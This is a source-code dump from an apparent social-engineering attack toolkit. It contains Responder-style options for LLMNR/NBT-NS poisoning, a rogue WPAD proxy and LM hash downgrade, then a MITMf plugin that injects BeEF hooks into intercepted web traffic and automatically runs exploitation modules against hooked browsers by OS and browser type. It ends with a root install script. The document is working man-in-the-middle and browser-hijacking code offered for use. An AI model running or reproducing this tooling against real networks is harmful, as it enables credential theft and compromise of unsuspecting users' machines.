options.add_argument('--analyze', dest="analyze",action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") 89 | options.add_argument('--wredir', dest="wredir", action="store_true", help="Enables answers for netbios wredir suffix queries") 90 | options.add_argument('--nbtns', dest="nbtns", action="store_true", help="Enables answers for netbios domain suffix queries") 91 | options.add_argument('--fingerprint', dest="finger", action="store_true", help="Fingerprint hosts that issued an NBT-NS or LLMNR query") 92 | options.add_argument('--lm', dest="lm", action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") 93 | options.add_argument('--wpad', dest="wpad", action="store_true", help="Start the WPAD rogue proxy server") 94 | options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval (might cause a login prompt)") 95 | options.add_argument('--basic', dest="basic", action="store_true", help="Return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") 96 | -------------------------------------------------------------------------------- /sniffer/plugins/BeefAutorun.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Plugin 2 | from plugins.Inject import Inject 3 | from time import sleep 4 | import logging 5 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy 6 | from scapy.all import get_if_addr 7 | import sys 8 | import json 9 | import threading 10 | import libs.beefapi as beefapi 11 | 12 | requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message 13 | requests_log.setLevel(logging.WARNING) 14 | 15 | 16 | class BeefAutorun(Inject, Plugin): 17 | name = "BeEFAutorun" 18 | optname = "beefauto" 19 | has_opts = False 20 | desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" 21 | 22 | def initialize(self, options): 23 | self.options = options 24 | 25 | try: 26 | beefconfig = options.configfile['MITMf']['BeEF'] 27 | except Exception, e: 28 | sys.exit("[-] Error parsing BeEF options in config file: " + str(e)) 29 | 30 | try: 31 | userconfig = options.configfile['BeEFAutorun'] 32 | except Exception, e: 33 | sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e)) 34 | 35 | self.Mode = userconfig['mode'] 36 | self.All_modules = userconfig["ALL"] 37 | self.Targeted_modules = userconfig["targets"] 38 | 39 | try: 40 | self.ip_address = get_if_addr(options.interface) 41 | if self.ip_address == "0.0.0.0": 42 | sys.exit("[-] Interface %s does not have an IP address" % options.interface) 43 | except Exception, e: 44 | sys.exit("[-] Error retrieving interface IP address: %s" % e) 45 | 46 | Inject.initialize(self, options) 47 | self.black_ips = [] 48 | self.html_payload = '' % (self.ip_address, beefconfig['beefport']) 49 | 50 | beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) 51 | if beef.login(beefconfig['user'], beefconfig['pass']): 52 | print "[*] Successfully logged in to BeEF" 53 | else: 54 | sys.exit("[-] Error logging in to BeEF!") 55 | 56 | print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode 57 | t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) 58 | t.setDaemon(True) 59 | t.start() 60 | 61 | def autorun(self, beef): 62 | already_ran = [] 63 | already_hooked = [] 64 | 65 | while True: 66 | sessions = beef.sessions_online() 67 | if (sessions is not None and len(sessions) > 0): 68 | for session in sessions: 69 | 70 | if session not in already_hooked: 71 | info = beef.hook_info(session) 72 | logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) 73 | already_hooked.append(session) 74 | self.black_ips.append(str(info['ip'])) 75 | 76 | if self.Mode == 'oneshot': 77 | if session not in already_ran: 78 | self.execModules(session, beef) 79 | already_ran.append(session) 80 | 81 | elif self.Mode == 'loop': 82 | self.execModules(session, beef) 83 | sleep(10) 84 | 85 | else: 86 | sleep(1) 87 | 88 | def execModules(self, session, beef): 89 | session_info = beef.hook_info(session) 90 | session_ip = session_info['ip'] 91 | hook_browser = session_info['name'] 92 | hook_os = session_info['os'] 93 | 94 | if len(self.All_modules) > 0: 95 | logging.info("%s >> sending generic modules" % session_ip) 96 | for module, options in self.All_modules.items(): 97 | mod_id = beef.module_id(module) 98 | resp = beef.module_run(session, mod_id, json.loads(options)) 99 | if resp["success"] == 'true': 100 | logging.info('%s >> sent module %s' % (session_ip, mod_id)) 101 | else: 102 | logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) 103 | sleep(0.5) 104 | 105 | logging.info("%s >> sending targeted modules" % session_ip) 106 | for os in self.Targeted_modules: 107 | if (os in hook_os) or (os == hook_os): 108 | browsers = self.Targeted_modules[os] 109 | if len(browsers) > 0: 110 | for browser in browsers: 111 | if browser == hook_browser: 112 | modules = self.Targeted_modules[os][browser] 113 | if len(modules) > 0: 114 | for module, options in modules.items(): 115 | mod_id = beef.module_id(module) 116 | resp = beef.module_run(session, mod_id, json.loads(options)) 117 | if resp["success"] == 'true': 118 | logging.info('%s >> sent module %s' % (session_ip, mod_id)) 119 | else: 120 | logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) 121 | sleep(0.5) 122 | -------------------------------------------------------------------------------- /install: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | Black='\e[0;30m' # Black 4 | Red='\e[0;31m' # Red 5 | Green='\e[0;32m' # Green 6 | Yellow='\e[0;33m' # Yellow 7 | Blue='\e[0;34m' # Blue 8 | Purple='\e[0;35m' # Purple 9 | Cyan='\e[0;36m' # Cyan 10 | White='\e[0;37m' # White 11 | 12 | # Bold 13 | BBlack='\e[1;30m' # Black 14 | BRed='\e[1;31m' # Red 15 | BGreen='\e[1;32m' # Green 16 | BYellow='\e[1;33m' # Yellow 17 | BBlue='\e[1;34m' # Blue 18 | BPurple='\e[1;35m' # Purple 19 | BCyan='\e[1;36m' # Cyan 20 | BWhite='\e[1;37m' # White 21 | echo 22 | echo -e $BYellow " ------------------------------" 23 | echo -e $BYellow " |Social Engineering Framework|" 24 | echo -e $BYellow " ------------------------------" 25 | echo -e $BBlue " |++++| Created by: $(echo -e $BYellow"Ahmad Nourallah") $(echo -e $BBlue"|++++|")" 26 | echo -e $BBlue " |++++| Verison: $(echo -e $BYellow"1.0") $(echo -e $BBlue" |++++|")" 27 | echo -e $BBlue " |++++| Date create: $(echo -e $BYellow"17/1/1") $(echo -e $BBlue"|++++|")" 28 | echo -e $BBlue " |++++| Download Page: |++++|" 29 | echo -e $BBlue " |++++|$(echo -e $BYellow" https://github.com/ahmadnourallah/SEF")$(echo -e $BBlue" |++++|")" 30 | echo 31 | echo -e $BYellow "Note: $(echo -e $BWhite"You shouldnt remove any file from tools after install finish.")" 32 | echo -e $BYellow "Note: $(echo -e $BWhite"You should run the install plugin from the tools directory.")" 33 | echo -e $BYellow " Note: $(echo -e $BWhite"the tools need root permissions.")" 34 | echo 35 | echo "$(echo -e $BBlue"SEF> " )$(echo -e $BWhite"Welcome to SEF install plugin")" 36 | read -p "$(echo -e $BBlue"SEF> " )$(echo -e $BWhite"Are you accept install tools on your computer [Y|N]:") " accept 37 | if [ "$accept" == "Y" ] || [ "$accept" == "y" ] || [ "$accept" == "yes" ] || [ "$accept" == "Yes" ] 38 | then 39 | if [ "$EUID" == 0 ] 40 | then 41 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Get root permissions")" 42 | else 43 | echo 44 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Get root permissions")" 45 | echo 46 | exit 47 | fi 48 | mkdir /root/.SEF/ &> /dev/null 49 | if [ "$?" == 0 ] 50 | then 51 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Make tools configure directory in /root/.SEF/")" 52 | else 53 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Make tools configure directory in /root/.SEF/")" 54 | fi 55 | sleep 0.2s 56 | cp README.md /root/.SEF/ &> /dev/null 57 | if [ "$?" == 0 ] 58 | then 59 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Copy README.md to /root/.SEF/")" 60 | else 61 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Copy README.md to /root/.SEF/")" 62 | fi 63 | sleep 0.2s 64 | mkdir /etc/SEF/ &> /dev/null 65 | if [ "$?" == 0 ] 66 | then 67 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Make tools folder in /etc/SEF/")" 68 | else 69 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Make tools folder in /etc/SEF/")" 70 | fi 71 | sleep 0.2s 72 | cp -r Scame/ tools/ sniffer/ /etc/SEF/ &> /dev/null 73 | if [ "$?" == 0 ] 74 | then 75 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Copy tools file to /etc/SEF/")" 76 | else 77 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Copy tools file to /etc/SEF/")" 78 | fi 79 | sleep 0.2s 80 | cp tools/seframework /bin/ &> /dev/null 81 | if [ "$?" == 0 ] 82 | then 83 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Copy tools script to /bin/")" 84 | else 85 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Copy tools script to /bin/")" 86 | fi 87 | sleep 0.2s 88 | cp tools/android/adb /bin/ 89 | if [ "$?" == 0 ] 90 | then 91 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Copy adb to /bin/")" 92 | else 93 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Copy adb to /bin/")" 94 | fi 95 | sleep 0.2s 96 | cd .. 97 | rm -r SEF*/ 98 | if [ "$?" == 0 ] 99 | then 100 | echo -e $BWhite"[$(echo -e $BYellow"ok")$(echo -e $BWhite"] Remove install file from computer")" 101 | echo 102 | echo -e $BYellow "Note: $(echo -e $BWhite"Now Type seframework in terminal to execute the script")" 103 | echo 104 | else 105 | echo -e $BWhite"[$(echo -e $BRed"error")$(echo -e $BWhite"] Remove install file from computer")" 106 | fi 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | else 115 | echo 116 | echo -e $BRed "Good bye $(echo -e $BWhite".......")" 117 | echo 118 | exit 119 | fi 120 | 121 | 122 | --------------------------------------------------------------------------------